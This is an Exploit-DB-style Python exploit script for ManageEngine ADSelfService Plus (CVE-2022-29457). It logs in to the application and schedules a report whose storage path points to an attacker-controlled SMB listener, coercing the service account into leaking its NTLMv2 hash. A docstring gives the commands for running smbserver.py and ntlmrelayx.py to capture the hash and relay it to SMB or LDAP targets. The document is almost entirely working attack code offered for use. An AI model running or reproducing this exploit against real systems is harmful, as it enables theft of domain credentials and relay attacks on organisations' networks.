1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
# Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.manageengine.com/ # Software Link: https://www.manageengine.com/products/self-service-password/download.html # Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability # Version: ADSelfService Plus Build < 6121 # Tested against: Build 6118 # CVE: CVE-2022-29457 # !/usr/bin/python3 import argparse import requests import urllib3 import random import sys """ 1- a)Set up SMB server to capture NTMLv2 hash. python3 smbserver.py share . -smb2support b)For relaying to SMB: python3 ntlmrelayx.py -smb2support -t smb://TARGET c)For relaying to LDAP: python3 ntlmrelayx.py -t ldaps://TARGET 2- Fire up the exploit. You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes. """ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def get_args(): parser = argparse.ArgumentParser( epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1") parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ') parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain') parser.add_argument('-u', '--user', required=True, action='store') parser.add_argument('-p', '--password', required=True, action='store') parser.add_argument('-t', '--target', required=True, action='store', help='Target url') parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash') args = parser.parse_args() return args def scheduler(domain, auth, target, listener, user, password): try: with requests.Session() as s: gUrl = target getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False) csrf = getCsrf.cookies['_zcsr_tmp'] print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp']) if auth.lower() == 'adselfservice': auth = "ADSelfService Plus Authentication" data = { "loginName": user, "domainName": auth, "j_username": user, "j_password": password, "AUTHRULE_NAME": "ADAuthenticator", "adscsrf": [csrf, csrf] } #Login url = target + "j_security_check" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"} req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False) #Auth Check url2 = target + "webclient/index.html" req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False) if req2.status_code == 200: print("[+] Authentication is successful.") elif req2.status_code == 302: print("[-] Login failed.") sys.exit(1) else: print("[-] Something went wrong") sys.exit(1) dn = domain.split(".") r1 = random.randint(1, 1000) surl = target + 'ServletAPI/Reports/saveReportScheduler' data = { 'SCHEDULE_ID':'0', 'ADMIN_STATUS':'3', 'SCHEDULE_NAME': 'enrollment' + str(r1), 'DOMAINS': '["'+ domain +'"]', 'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}', 'SELECTED_REPORTS': '104,105', 'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]', 'SCHEDULE_TYPE': 'hourly', 'TIME_OF_DAY': '0', 'MINS_OF_HOUR': '5', 'EMAIL_ID': user +'@'+ domain, 'NOTIFY_ADMIN': 'true', 'NOTIFY_MANAGER': 'false', 'STORAGE_PATH': '\\\\' + listener + '\\share', 'FILE_FORMAT': 'HTML', 'ATTACHMENT_TYPE': 'FILE', 'ADMIN_MAIL_PRIORITY': 'Medium', 'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub', 'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html', 'MANAGER_FILE_FORMAT': 'HTML', 'MANAGER_ATTACHMENT_TYPE': 'FILE', 'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub', 'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html', 'adscsrf': csrf } sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False) if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text: print('[-] The target is patched!') sys.exit(1) if sch.status_code == 200: print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!") else: print("[-] Something went wrong. Please, try it manually!") sys.exit(1) except: print('[-] Connection error!') def main(): arg = get_args() domain = arg.domain auth = arg.auth user = arg.user password = arg.password target = arg.target listener = arg.listener scheduler(domain, auth, target, listener, user, password) if __name__ == "__main__": main() |